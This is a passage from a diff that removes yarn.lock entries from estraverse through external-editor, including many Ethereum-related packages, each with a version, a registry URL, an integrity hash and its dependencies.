-  resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-4.3.0.tgz#398ad3f3c5a24948be7725e83d11a7de28cdbd1d"
-  integrity sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==
-
-estraverse@^5.1.0, estraverse@^5.2.0:
-  version "5.2.0"
-  resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-5.2.0.tgz#307df42547e6cc7324d3cf03c155d5cdb8c53880"
-  integrity sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==
-
-esutils@^2.0.2:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64"
-  integrity sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==
-
-etag@~1.8.1:
-  version "1.8.1"
-  resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887"
-  integrity sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=
-
-eth-block-tracker@^4.4.2:
-  version "4.4.3"
-  resolved "https://registry.yarnpkg.com/eth-block-tracker/-/eth-block-tracker-4.4.3.tgz#766a0a0eb4a52c867a28328e9ae21353812cf626"
-  integrity sha512-A8tG4Z4iNg4mw5tP1Vung9N9IjgMNqpiMoJ/FouSFwNCGHv2X0mmOYwtQOJzki6XN7r7Tyo01S29p7b224I4jw==
-  dependencies:
-    "@babel/plugin-transform-runtime" "^7.5.5"
-    "@babel/runtime" "^7.5.5"
-    eth-query "^2.1.0"
-    json-rpc-random-id "^1.0.1"
-    pify "^3.0.0"
-    safe-event-emitter "^1.0.1"
-
-eth-hooks@^1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/eth-hooks/-/eth-hooks-1.1.2.tgz#6b8f4cd1acbb0a83714cb740fc6c6238685dd2a6"
-  integrity sha512-+K1Pkm5BRSRE+Gt3mCZsHx7gJiYahFhGbQ+ns6T/S/A4MUp2xDvDZxQRSr8Qy48jaV6Y1GtKj+mi1dpbV+GLKQ==
-  dependencies:
-    burner-provider "^1.0.15"
-
-eth-json-rpc-errors@^1.0.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/eth-json-rpc-errors/-/eth-json-rpc-errors-1.1.1.tgz#148377ef55155585981c21ff574a8937f9d6991f"
-  integrity sha512-WT5shJ5KfNqHi9jOZD+ID8I1kuYWNrigtZat7GOQkvwo99f8SzAVaEcWhJUv656WiZOAg3P1RiJQANtUmDmbIg==
-  dependencies:
-    fast-safe-stringify "^2.0.6"
-
-eth-json-rpc-errors@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/eth-json-rpc-errors/-/eth-json-rpc-errors-2.0.2.tgz#c1965de0301fe941c058e928bebaba2e1285e3c4"
-  integrity sha512-uBCRM2w2ewusRHGxN8JhcuOb2RN3ueAOYH/0BhqdFmQkZx5lj5+fLKTz0mIVOzd4FG5/kUksCzCD7eTEim6gaA==
-  dependencies:
-    fast-safe-stringify "^2.0.6"
-
-eth-json-rpc-filters@^4.1.1, eth-json-rpc-filters@^4.2.1:
-  version "4.2.2"
-  resolved "https://registry.yarnpkg.com/eth-json-rpc-filters/-/eth-json-rpc-filters-4.2.2.tgz#eb35e1dfe9357ace8a8908e7daee80b2cd60a10d"
-  integrity sha512-DGtqpLU7bBg63wPMWg1sCpkKCf57dJ+hj/k3zF26anXMzkmtSBDExL8IhUu7LUd34f0Zsce3PYNO2vV2GaTzaw==
-  dependencies:
-    "@metamask/safe-event-emitter" "^2.0.0"
-    async-mutex "^0.2.6"
-    eth-json-rpc-middleware "^6.0.0"
-    eth-query "^2.1.2"
-    json-rpc-engine "^6.1.0"
-    pify "^5.0.0"
-
-eth-json-rpc-infura@^4.0.1:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/eth-json-rpc-infura/-/eth-json-rpc-infura-4.1.0.tgz#623478375ba65e4304dea529ed69e8bd7938270d"
-  integrity sha512-DFYitKovzVlCdUulEccdm4g6k/vnvyByuw7rd5OoWDBSIiaeinI8Z/SntLjSIs2c+YvE20DGwk/GLwZGCWDN1Q==
-  dependencies:
-    eth-json-rpc-middleware "^4.4.0"
-    eth-rpc-errors "^3.0.0"
-    json-rpc-engine "^5.1.3"
-    node-fetch "^2.6.0"
-
-eth-json-rpc-infura@^5.1.0:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/eth-json-rpc-infura/-/eth-json-rpc-infura-5.1.0.tgz#e6da7dc47402ce64c54e7018170d89433c4e8fb6"
-  integrity sha512-THzLye3PHUSGn1EXMhg6WTLW9uim7LQZKeKaeYsS9+wOBcamRiCQVGHa6D2/4P0oS0vSaxsBnU/J6qvn0MPdow==
-  dependencies:
-    eth-json-rpc-middleware "^6.0.0"
-    eth-rpc-errors "^3.0.0"
-    json-rpc-engine "^5.3.0"
-    node-fetch "^2.6.0"
-
-eth-json-rpc-middleware@^4.1.5, eth-json-rpc-middleware@^4.4.0:
-  version "4.4.1"
-  resolved "https://registry.yarnpkg.com/eth-json-rpc-middleware/-/eth-json-rpc-middleware-4.4.1.tgz#07d3dd0724c24a8d31e4a172ee96271da71b4228"
-  integrity sha512-yoSuRgEYYGFdVeZg3poWOwAlRI+MoBIltmOB86MtpoZjvLbou9EB/qWMOWSmH2ryCWLW97VYY6NWsmWm3OAA7A==
-  dependencies:
-    btoa "^1.2.1"
-    clone "^2.1.1"
-    eth-json-rpc-errors "^1.0.1"
-    eth-query "^2.1.2"
-    eth-sig-util "^1.4.2"
-    ethereumjs-block "^1.6.0"
-    ethereumjs-tx "^1.3.7"
-    ethereumjs-util "^5.1.2"
-    ethereumjs-vm "^2.6.0"
-    fetch-ponyfill "^4.0.0"
-    json-rpc-engine "^5.1.3"
-    json-stable-stringify "^1.0.1"
-    pify "^3.0.0"
-    safe-event-emitter "^1.0.1"
-
-eth-json-rpc-middleware@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/eth-json-rpc-middleware/-/eth-json-rpc-middleware-6.0.0.tgz#4fe16928b34231a2537856f08a5ebbc3d0c31175"
-  integrity sha512-qqBfLU2Uq1Ou15Wox1s+NX05S9OcAEL4JZ04VZox2NS0U+RtCMjSxzXhLFWekdShUPZ+P8ax3zCO2xcPrp6XJQ==
-  dependencies:
-    btoa "^1.2.1"
-    clone "^2.1.1"
-    eth-query "^2.1.2"
-    eth-rpc-errors "^3.0.0"
-    eth-sig-util "^1.4.2"
-    ethereumjs-util "^5.1.2"
-    json-rpc-engine "^5.3.0"
-    json-stable-stringify "^1.0.1"
-    node-fetch "^2.6.1"
-    pify "^3.0.0"
-    safe-event-emitter "^1.0.1"
-
-eth-query@^2.1.0, eth-query@^2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/eth-query/-/eth-query-2.1.2.tgz#d6741d9000106b51510c72db92d6365456a6da5e"
-  integrity sha1-1nQdkAAQa1FRDHLbktY2VFam2l4=
-  dependencies:
-    json-rpc-random-id "^1.0.0"
-    xtend "^4.0.1"
-
-eth-rpc-errors@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/eth-rpc-errors/-/eth-rpc-errors-3.0.0.tgz#d7b22653c70dbf9defd4ef490fd08fe70608ca10"
-  integrity sha512-iPPNHPrLwUlR9xCSYm7HHQjWBasor3+KZfRvwEWxMz3ca0yqnlBeJrnyphkGIXZ4J7AMAaOLmwy4AWhnxOiLxg==
-  dependencies:
-    fast-safe-stringify "^2.0.6"
-
-eth-rpc-errors@^4.0.2:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/eth-rpc-errors/-/eth-rpc-errors-4.0.3.tgz#6ddb6190a4bf360afda82790bb7d9d5e724f423a"
-  integrity sha512-Z3ymjopaoft7JDoxZcEb3pwdGh7yiYMhOwm2doUt6ASXlMavpNlK6Cre0+IMl2VSGyEU9rkiperQhp5iRxn5Pg==
-  dependencies:
-    fast-safe-stringify "^2.0.6"
-
-eth-sig-util@^1.4.2:
-  version "1.4.2"
-  resolved "https://registry.yarnpkg.com/eth-sig-util/-/eth-sig-util-1.4.2.tgz#8d958202c7edbaae839707fba6f09ff327606210"
-  integrity sha1-jZWCAsftuq6Dlwf7pvCf8ydgYhA=
-  dependencies:
-    ethereumjs-abi "git+https://github.com/ethereumjs/ethereumjs-abi.git"
-    ethereumjs-util "^5.1.1"
-
-eth-sig-util@^2.5.3:
-  version "2.5.4"
-  resolved "https://registry.yarnpkg.com/eth-sig-util/-/eth-sig-util-2.5.4.tgz#577b01fe491b6bf59b0464be09633e20c1677bc5"
-  integrity sha512-aCMBwp8q/4wrW4QLsF/HYBOSA7TpLKmkVwP3pYQNkEEseW2Rr8Z5Uxc9/h6HX+OG3tuHo+2bINVSihIeBfym6A==
-  dependencies:
-    ethereumjs-abi "0.6.8"
-    ethereumjs-util "^5.1.1"
-    tweetnacl "^1.0.3"
-    tweetnacl-util "^0.15.0"
-
-ethereum-common@0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/ethereum-common/-/ethereum-common-0.2.0.tgz#13bf966131cce1eeade62a1b434249bb4cb120ca"
-  integrity sha512-XOnAR/3rntJgbCdGhqdaLIxDLWKLmsZOGhHdBKadEr6gEnJLH52k93Ou+TUdFaPN3hJc3isBZBal3U/XZ15abA==
-
-ethereum-common@^0.0.18:
-  version "0.0.18"
-  resolved "https://registry.yarnpkg.com/ethereum-common/-/ethereum-common-0.0.18.tgz#2fdc3576f232903358976eb39da783213ff9523f"
-  integrity sha1-L9w1dvIykDNYl26znaeDIT/5Uj8=
-
-ethereum-cryptography@^0.1.3:
-  version "0.1.3"
-  resolved "https://registry.yarnpkg.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz#8d6143cfc3d74bf79bbd8edecdf29e4ae20dd191"
-  integrity sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==
-  dependencies:
-    "@types/pbkdf2" "^3.0.0"
-    "@types/secp256k1" "^4.0.1"
-    blakejs "^1.1.0"
-    browserify-aes "^1.2.0"
-    bs58check "^2.1.2"
-    create-hash "^1.2.0"
-    create-hmac "^1.1.7"
-    hash.js "^1.1.7"
-    keccak "^3.0.0"
-    pbkdf2 "^3.0.17"
-    randombytes "^2.1.0"
-    safe-buffer "^5.1.2"
-    scrypt-js "^3.0.0"
-    secp256k1 "^4.0.1"
-    setimmediate "^1.0.5"
-
-ethereumjs-abi@0.6.8, "ethereumjs-abi@git+https://github.com/ethereumjs/ethereumjs-abi.git":
-  version "0.6.8"
-  resolved "git+https://github.com/ethereumjs/ethereumjs-abi.git#ee3994657fa7a427238e6ba92a84d0b529bbcde0"
-  dependencies:
-    bn.js "^4.11.8"
-    ethereumjs-util "^6.0.0"
-
-ethereumjs-account@^2.0.3:
-  version "2.0.5"
-  resolved "https://registry.yarnpkg.com/ethereumjs-account/-/ethereumjs-account-2.0.5.tgz#eeafc62de544cb07b0ee44b10f572c9c49e00a84"
-  integrity sha512-bgDojnXGjhMwo6eXQC0bY6UK2liSFUSMwwylOmQvZbSl/D7NXQ3+vrGO46ZeOgjGfxXmgIeVNDIiHw7fNZM4VA==
-  dependencies:
-    ethereumjs-util "^5.0.0"
-    rlp "^2.0.0"
-    safe-buffer "^5.1.1"
-
-ethereumjs-block@^1.2.2, ethereumjs-block@^1.6.0:
-  version "1.7.1"
-  resolved "https://registry.yarnpkg.com/ethereumjs-block/-/ethereumjs-block-1.7.1.tgz#78b88e6cc56de29a6b4884ee75379b6860333c3f"
-  integrity sha512-B+sSdtqm78fmKkBq78/QLKJbu/4Ts4P2KFISdgcuZUPDm9x+N7qgBPIIFUGbaakQh8bzuquiRVbdmvPKqbILRg==
-  dependencies:
-    async "^2.0.1"
-    ethereum-common "0.2.0"
-    ethereumjs-tx "^1.2.2"
-    ethereumjs-util "^5.0.0"
-    merkle-patricia-tree "^2.1.2"
-
-ethereumjs-block@~2.2.0:
-  version "2.2.2"
-  resolved "https://registry.yarnpkg.com/ethereumjs-block/-/ethereumjs-block-2.2.2.tgz#c7654be7e22df489fda206139ecd63e2e9c04965"
-  integrity sha512-2p49ifhek3h2zeg/+da6XpdFR3GlqY3BIEiqxGF8j9aSRIgkb7M1Ky+yULBKJOu8PAZxfhsYA+HxUk2aCQp3vg==
-  dependencies:
-    async "^2.0.1"
-    ethereumjs-common "^1.5.0"
-    ethereumjs-tx "^2.1.1"
-    ethereumjs-util "^5.0.0"
-    merkle-patricia-tree "^2.1.2"
-
-ethereumjs-common@^1.1.0, ethereumjs-common@^1.5.0:
-  version "1.5.2"
-  resolved "https://registry.yarnpkg.com/ethereumjs-common/-/ethereumjs-common-1.5.2.tgz#2065dbe9214e850f2e955a80e650cb6999066979"
-  integrity sha512-hTfZjwGX52GS2jcVO6E2sx4YuFnf0Fhp5ylo4pEPhEffNln7vS59Hr5sLnp3/QCazFLluuBZ+FZ6J5HTp0EqCA==
-
-ethereumjs-tx@^1.2.0, ethereumjs-tx@^1.2.2, ethereumjs-tx@^1.3.7:
-  version "1.3.7"
-  resolved "https://registry.yarnpkg.com/ethereumjs-tx/-/ethereumjs-tx-1.3.7.tgz#88323a2d875b10549b8347e09f4862b546f3d89a"
-  integrity sha512-wvLMxzt1RPhAQ9Yi3/HKZTn0FZYpnsmQdbKYfUUpi4j1SEIcbkd9tndVjcPrufY3V7j2IebOpC00Zp2P/Ay2kA==
-  dependencies:
-    ethereum-common "^0.0.18"
-    ethereumjs-util "^5.0.0"
-
-ethereumjs-tx@^2.1.1:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/ethereumjs-tx/-/ethereumjs-tx-2.1.2.tgz#5dfe7688bf177b45c9a23f86cf9104d47ea35fed"
-  integrity sha512-zZEK1onCeiORb0wyCXUvg94Ve5It/K6GD1K+26KfFKodiBiS6d9lfCXlUKGBBdQ+bv7Day+JK0tj1K+BeNFRAw==
-  dependencies:
-    ethereumjs-common "^1.5.0"
-    ethereumjs-util "^6.0.0"
-
-ethereumjs-util@^5.0.0, ethereumjs-util@^5.1.1, ethereumjs-util@^5.1.2, ethereumjs-util@^5.1.5:
-  version "5.2.1"
-  resolved "https://registry.yarnpkg.com/ethereumjs-util/-/ethereumjs-util-5.2.1.tgz#a833f0e5fca7e5b361384dc76301a721f537bf65"
-  integrity sha512-v3kT+7zdyCm1HIqWlLNrHGqHGLpGYIhjeHxQjnDXjLT2FyGJDsd3LWMYUo7pAFRrk86CR3nUJfhC81CCoJNNGQ==
-  dependencies:
-    bn.js "^4.11.0"
-    create-hash "^1.1.2"
-    elliptic "^6.5.2"
-    ethereum-cryptography "^0.1.3"
-    ethjs-util "^0.1.3"
-    rlp "^2.0.0"
-    safe-buffer "^5.1.1"
-
-ethereumjs-util@^6.0.0:
-  version "6.2.1"
-  resolved "https://registry.yarnpkg.com/ethereumjs-util/-/ethereumjs-util-6.2.1.tgz#fcb4e4dd5ceacb9d2305426ab1a5cd93e3163b69"
-  integrity sha512-W2Ktez4L01Vexijrm5EB6w7dg4n/TgpoYU4avuT5T3Vmnw/eCRtiBrJfQYS/DCSvDIOLn2k57GcHdeBcgVxAqw==
-  dependencies:
-    "@types/bn.js" "^4.11.3"
-    bn.js "^4.11.0"
-    create-hash "^1.1.2"
-    elliptic "^6.5.2"
-    ethereum-cryptography "^0.1.3"
-    ethjs-util "0.1.6"
-    rlp "^2.2.3"
-
-ethereumjs-vm@^2.3.4, ethereumjs-vm@^2.6.0:
-  version "2.6.0"
-  resolved "https://registry.yarnpkg.com/ethereumjs-vm/-/ethereumjs-vm-2.6.0.tgz#76243ed8de031b408793ac33907fb3407fe400c6"
-  integrity sha512-r/XIUik/ynGbxS3y+mvGnbOKnuLo40V5Mj1J25+HEO63aWYREIqvWeRO/hnROlMBE5WoniQmPmhiaN0ctiHaXw==
-  dependencies:
-    async "^2.1.2"
-    async-eventemitter "^0.2.2"
-    ethereumjs-account "^2.0.3"
-    ethereumjs-block "~2.2.0"
-    ethereumjs-common "^1.1.0"
-    ethereumjs-util "^6.0.0"
-    fake-merkle-patricia-tree "^1.0.1"
-    functional-red-black-tree "^1.0.1"
-    merkle-patricia-tree "^2.3.2"
-    rustbn.js "~0.2.0"
-    safe-buffer "^5.1.1"
-
-ethereumjs-wallet@^0.6.3:
-  version "0.6.5"
-  resolved "https://registry.yarnpkg.com/ethereumjs-wallet/-/ethereumjs-wallet-0.6.5.tgz#685e9091645cee230ad125c007658833991ed474"
-  integrity sha512-MDwjwB9VQVnpp/Dc1XzA6J1a3wgHQ4hSvA1uWNatdpOrtCbPVuQSKSyRnjLvS0a+KKMw2pvQ9Ybqpb3+eW8oNA==
-  dependencies:
-    aes-js "^3.1.1"
-    bs58check "^2.1.2"
-    ethereum-cryptography "^0.1.3"
-    ethereumjs-util "^6.0.0"
-    randombytes "^2.0.6"
-    safe-buffer "^5.1.2"
-    scryptsy "^1.2.1"
-    utf8 "^3.0.0"
-    uuid "^3.3.2"
-
-ethers@^4.0.46:
-  version "4.0.48"
-  resolved "https://registry.yarnpkg.com/ethers/-/ethers-4.0.48.tgz#330c65b8133e112b0613156e57e92d9009d8fbbe"
-  integrity sha512-sZD5K8H28dOrcidzx9f8KYh8083n5BexIO3+SbE4jK83L85FxtpXZBCQdXb8gkg+7sBqomcLhhkU7UHL+F7I2g==
-  dependencies:
-    aes-js "3.0.0"
-    bn.js "^4.4.0"
-    elliptic "6.5.3"
-    hash.js "1.1.3"
-    js-sha3 "0.5.7"
-    scrypt-js "2.0.4"
-    setimmediate "1.0.4"
-    uuid "2.0.1"
-    xmlhttprequest "1.8.0"
-
-ethers@^5.0.31:
-  version "5.3.1"
-  resolved "https://registry.yarnpkg.com/ethers/-/ethers-5.3.1.tgz#1f018f0aeb651576cd84fd987a45f0b99646d761"
-  integrity sha512-xCKmC0gsZ9gks89ZfK3B1y6LlPdvX5fxDtu9SytnpdDJR1M7pmJI+4H0AxQPMgUYr7GtQdmECLR0gWdJQ+lZYw==
-  dependencies:
-    "@ethersproject/abi" "5.3.1"
-    "@ethersproject/abstract-provider" "5.3.0"
-    "@ethersproject/abstract-signer" "5.3.0"
-    "@ethersproject/address" "5.3.0"
-    "@ethersproject/base64" "5.3.0"
-    "@ethersproject/basex" "5.3.0"
-    "@ethersproject/bignumber" "5.3.0"
-    "@ethersproject/bytes" "5.3.0"
-    "@ethersproject/constants" "5.3.0"
-    "@ethersproject/contracts" "5.3.0"
-    "@ethersproject/hash" "5.3.0"
-    "@ethersproject/hdnode" "5.3.0"
-    "@ethersproject/json-wallets" "5.3.0"
-    "@ethersproject/keccak256" "5.3.0"
-    "@ethersproject/logger" "5.3.0"
-    "@ethersproject/networks" "5.3.1"
-    "@ethersproject/pbkdf2" "5.3.0"
-    "@ethersproject/properties" "5.3.0"
-    "@ethersproject/providers" "5.3.1"
-    "@ethersproject/random" "5.3.0"
-    "@ethersproject/rlp" "5.3.0"
-    "@ethersproject/sha2" "5.3.0"
-    "@ethersproject/signing-key" "5.3.0"
-    "@ethersproject/solidity" "5.3.0"
-    "@ethersproject/strings" "5.3.0"
-    "@ethersproject/transactions" "5.3.0"
-    "@ethersproject/units" "5.3.0"
-    "@ethersproject/wallet" "5.3.0"
-    "@ethersproject/web" "5.3.0"
-    "@ethersproject/wordlists" "5.3.0"
-
-ethjs-util@0.1.6, ethjs-util@^0.1.3:
-  version "0.1.6"
-  resolved "https://registry.yarnpkg.com/ethjs-util/-/ethjs-util-0.1.6.tgz#f308b62f185f9fe6237132fb2a9818866a5cd536"
-  integrity sha512-CUnVOQq7gSpDHZVVrQW8ExxUETWrnrvXYvYz55wOU8Uj4VCgw56XC2B/fVqQN+f7gmrnRHSLVnFAwsCuNwji8w==
-  dependencies:
-    is-hex-prefixed "1.0.0"
-    strip-hex-prefix "1.0.0"
-
-ev-emitter@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/ev-emitter/-/ev-emitter-1.1.1.tgz#8f18b0ce5c76a5d18017f71c0a795c65b9138f2a"
-  integrity sha512-ipiDYhdQSCZ4hSbX4rMW+XzNKMD1prg/sTvoVmSLkuQ1MVlwjJQQA+sW8tMYR3BLUr9KjodFV4pvzunvRhd33Q==
-
-event-target-shim@^5.0.0:
-  version "5.0.1"
-  resolved "https://registry.yarnpkg.com/event-target-shim/-/event-target-shim-5.0.1.tgz#5d4d3ebdf9583d63a5333ce2deb7480ab2b05789"
-  integrity sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==
-
-eventemitter3@4.0.7, eventemitter3@^4.0.0:
-  version "4.0.7"
-  resolved "https://registry.yarnpkg.com/eventemitter3/-/eventemitter3-4.0.7.tgz#2de9b68f6528d5644ef5c59526a1b4a07306169f"
-  integrity sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==
-
-eventemitter3@^3.1.0:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/eventemitter3/-/eventemitter3-3.1.2.tgz#2d3d48f9c346698fce83a85d7d664e98535df6e7"
-  integrity sha512-tvtQIeLVHjDkJYnzf2dgVMxfuSGJeM/7UCG17TT4EumTfNtF+0nebF/4zWOIkCreAbtNqhGEboB6BWrwqNaw4Q==
-
-events@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/events/-/events-1.1.1.tgz#9ebdb7635ad099c70dcc4c2a1f5004288e8bd924"
-  integrity sha1-nr23Y1rQmccNzEwqH1AEKI6L2SQ=
-
-events@^3.0.0:
-  version "3.3.0"
-  resolved "https://registry.yarnpkg.com/events/-/events-3.3.0.tgz#31a95ad0a924e2d2c419a813aeb2c4e878ea7400"
-  integrity sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==
-
-eventsource@^1.0.7:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/eventsource/-/eventsource-1.1.0.tgz#00e8ca7c92109e94b0ddf32dac677d841028cfaf"
-  integrity sha512-VSJjT5oCNrFvCS6igjzPAt5hBzQ2qPBFIbJ03zLI9SE0mxwZpMw6BfJrbFHm1a141AavMEB8JHmBhWAd66PfCg==
-  dependencies:
-    original "^1.0.0"
-
-evp_bytestokey@^1.0.0, evp_bytestokey@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz#7fcbdb198dc71959432efe13842684e0525acb02"
-  integrity sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==
-  dependencies:
-    md5.js "^1.3.4"
-    safe-buffer "^5.1.1"
-
-exec-sh@^0.3.2:
-  version "0.3.6"
-  resolved "https://registry.yarnpkg.com/exec-sh/-/exec-sh-0.3.6.tgz#ff264f9e325519a60cb5e273692943483cca63bc"
-  integrity sha512-nQn+hI3yp+oD0huYhKwvYI32+JFeq+XkNcD1GAo3Y/MjxsfVGmrrzrnzjWiNY6f+pUCP440fThsFh5gZrRAU/w==
-
-execa@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/execa/-/execa-1.0.0.tgz#c6236a5bb4df6d6f15e88e7f017798216749ddd8"
-  integrity sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==
-  dependencies:
-    cross-spawn "^6.0.0"
-    get-stream "^4.0.0"
-    is-stream "^1.1.0"
-    npm-run-path "^2.0.0"
-    p-finally "^1.0.0"
-    signal-exit "^3.0.0"
-    strip-eof "^1.0.0"
-
-exenv@^1.2.1:
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/exenv/-/exenv-1.2.2.tgz#2ae78e85d9894158670b03d47bec1f03bd91bb9d"
-  integrity sha1-KueOhdmJQVhnCwPUe+wfA72Ru50=
-
-exit@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/exit/-/exit-0.1.2.tgz#0632638f8d877cc82107d30a0fff1a17cba1cd0c"
-  integrity sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=
-
-expand-brackets@^2.1.4:
-  version "2.1.4"
-  resolved "https://registry.yarnpkg.com/expand-brackets/-/expand-brackets-2.1.4.tgz#b77735e315ce30f6b6eff0f83b04151a22449622"
-  integrity sha1-t3c14xXOMPa27/D4OwQVGiJEliI=
-  dependencies:
-    debug "^2.3.3"
-    define-property "^0.2.5"
-    extend-shallow "^2.0.1"
-    posix-character-classes "^0.1.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
-
-expand-tilde@^2.0.0, expand-tilde@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/expand-tilde/-/expand-tilde-2.0.2.tgz#97e801aa052df02454de46b02bf621642cdc8502"
-  integrity sha1-l+gBqgUt8CRU3kawK/YhZCzchQI=
-  dependencies:
-    homedir-polyfill "^1.0.1"
-
-expect@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.yarnpkg.com/expect/-/expect-24.9.0.tgz#b75165b4817074fa4a157794f46fe9f1ba15b6ca"
-  integrity sha512-wvVAx8XIol3Z5m9zvZXiyZOQ+sRJqNTIm6sGjdWlaZIeupQGO3WbYI+15D/AmEwZywL6wtJkbAbJtzkOfBuR0Q==
-  dependencies:
-    "@jest/types" "^24.9.0"
-    ansi-styles "^3.2.0"
-    jest-get-type "^24.9.0"
-    jest-matcher-utils "^24.9.0"
-    jest-message-util "^24.9.0"
-    jest-regex-util "^24.9.0"
-
-express@^4.17.1:
-  version "4.17.1"
-  resolved "https://registry.yarnpkg.com/express/-/express-4.17.1.tgz#4491fc38605cf51f8629d39c2b5d026f98a4c134"
-  integrity sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==
-  dependencies:
-    accepts "~1.3.7"
-    array-flatten "1.1.1"
-    body-parser "1.19.0"
-    content-disposition "0.5.3"
-    content-type "~1.0.4"
-    cookie "0.4.0"
-    cookie-signature "1.0.6"
-    debug "2.6.9"
-    depd "~1.1.2"
-    encodeurl "~1.0.2"
-    escape-html "~1.0.3"
-    etag "~1.8.1"
-    finalhandler "~1.1.2"
-    fresh "0.5.2"
-    merge-descriptors "1.0.1"
-    methods "~1.1.2"
-    on-finished "~2.3.0"
-    parseurl "~1.3.3"
-    path-to-regexp "0.1.7"
-    proxy-addr "~2.0.5"
-    qs "6.7.0"
-    range-parser "~1.2.1"
-    safe-buffer "5.1.2"
-    send "0.17.1"
-    serve-static "1.14.1"
-    setprototypeof "1.1.1"
-    statuses "~1.5.0"
-    type-is "~1.6.18"
-    utils-merge "1.0.1"
-    vary "~1.1.2"
-
-ext@^1.1.2:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/ext/-/ext-1.4.0.tgz#89ae7a07158f79d35517882904324077e4379244"
-  integrity sha512-Key5NIsUxdqKg3vIsdw9dSuXpPCQ297y6wBjL30edxwPgt2E44WcWBZey/ZvUc6sERLTxKdyCu4gZFmUbk1Q7A==
-  dependencies:
-    type "^2.0.0"
-
-extend-shallow@^1.1.2:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-1.1.4.tgz#19d6bf94dfc09d76ba711f39b872d21ff4dd9071"
-  integrity sha1-Gda/lN/AnXa6cR85uHLSH/TdkHE=
-  dependencies:
-    kind-of "^1.1.0"
-
-extend-shallow@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-2.0.1.tgz#51af7d614ad9a9f610ea1bafbb989d6b1c56890f"
-  integrity sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=
-  dependencies:
-    is-extendable "^0.1.0"
-
-extend-shallow@^3.0.0, extend-shallow@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-3.0.2.tgz#26a71aaf073b39fb2127172746131c2704028db8"
-  integrity sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=
-  dependencies:
-    assign-symbols "^1.0.0"
-    is-extendable "^1.0.1"
-
-extend@^3.0.0, extend@~3.0.2:
-  version "3.0.2"
-  resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa"
-  integrity sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==
-
-external-editor@^3.0.3:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/external-editor/-/external-editor-3.1.0.tgz#cb03f740befae03ea4d283caed2741a83f335495"
-  integrity sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==
